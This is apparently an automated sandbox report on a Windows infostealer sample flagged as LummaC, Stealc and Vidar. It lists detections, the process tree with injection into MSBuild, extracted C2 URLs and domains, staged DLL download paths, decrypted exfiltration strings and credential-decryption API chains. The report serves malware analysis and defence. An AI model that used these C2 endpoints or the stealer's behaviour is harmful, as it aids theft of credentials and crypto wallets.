Edit tour

Windows Analysis Report
FdjDPFGTZS.exe

Overview

General Information

Sample name:	FdjDPFGTZS.exe renamed because original name is a hash value
Original sample name:	6452d41749e8d8658d229a7789541a51.exe
Analysis ID:	1528327
MD5:	6452d41749e8d8658d229a7789541a51
SHA1:	4ee54154d5a23d9856c65dca94107035a8890fd0
SHA256:	33b0a6c0a93c8739f0a9de40a727c7d5dba9c9a0e6ffe65c7d3173082be2a73f
Tags:	32exetrojan
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

FdjDPFGTZS.exe (PID: 4828 cmdline: "C:\Users\user\Desktop\FdjDPFGTZS.exe" MD5: 6452D41749E8D8658D229A7789541A51)

MSBuild.exe (PID: 6376 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 7372 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCAFIEBKKJJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userCAFIEBKKJJ.exe (PID: 7432 cmdline: "C:\Users\userCAFIEBKKJJ.exe" MD5: D7E53BCB525008FFC3464054F5D845B0)

MSBuild.exe (PID: 7448 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 7496 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7432 -s 284 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5440 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["laddyirekyi.sbs", "exilepolsiy.sbs", "wickedneatr.sbs", "exemplarou.sbs", "isoplethui.sbs", "invinjurhey.sbs", "frizzettei.sbs", "bemuzzeki.sbs"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.1502719842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: FdjDPFGTZS.exe PID: 4828	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6376	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6376	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6376	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6376	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
12.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.FdjDPFGTZS.exe.e4dad8.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.userCAFIEBKKJJ.exe.a60000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.FdjDPFGTZS.exe.e4dad8.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
1.2.MSBuild.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
1.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.FdjDPFGTZS.exe.e20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 46.8.231.109, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6376, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49718

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T19:33:14.376046+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.7	49718	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T19:33:14.369227+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49718	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T19:33:14.551085+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49718	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T19:33:15.053500+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49718	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T19:33:14.563026+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.7	49718	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T19:33:14.158585+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49718	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T19:33:15.227835+0200	2803304	3	Unknown Traffic	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:18.224171+0200	2803304	3	Unknown Traffic	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:19.123050+0200	2803304	3	Unknown Traffic	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:19.798772+0200	2803304	3	Unknown Traffic	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:20.261699+0200	2803304	3	Unknown Traffic	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:21.885214+0200	2803304	3	Unknown Traffic	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:22.255280+0200	2803304	3	Unknown Traffic	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:24.414220+0200	2803304	3	Unknown Traffic	192.168.2.7	49791	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: FdjDPFGTZS.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://46.8.231.109/c4754d4f680ead72.php	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\userCAFIEBKKJJ.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 11.2.userCAFIEBKKJJ.exe.a60000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["laddyirekyi.sbs", "exilepolsiy.sbs", "wickedneatr.sbs", "exemplarou.sbs", "isoplethui.sbs", "invinjurhey.sbs", "frizzettei.sbs", "bemuzzeki.sbs"], "Build id": "H8NgCl--"}
Source: 1.2.MSBuild.exe.400000.1.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 1.2.MSBuild.exe.400000.1.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Multi AV Scanner detection for dropped file

Source: C:\Users\userCAFIEBKKJJ.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	Joe Sandbox ML: detected
Source: C:\Users\userCAFIEBKKJJ.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: FdjDPFGTZS.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: wickedneatr.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: invinjurhey.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: laddyirekyi.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exilepolsiy.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: bemuzzeki.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: isoplethui.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: frizzettei.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: Workgroup: -
Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	1_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	1_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6C4F6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6C64A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C644440 PK11_PrivDecrypt,	1_2_6C644440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C614420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6C614420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6444C0 PK11_PubEncrypt,	1_2_6C6444C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6C6925B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C628670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6C628670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6C64A650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C62E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6C62E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C66A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6C66A730

Source: FdjDPFGTZS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49865 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49806 version: TLS 1.2

Source: FdjDPFGTZS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E39ABF FindFirstFileExW,	0_2_00E39ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040DE10
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A79ABF FindFirstFileExW,	11_2_00A79ABF

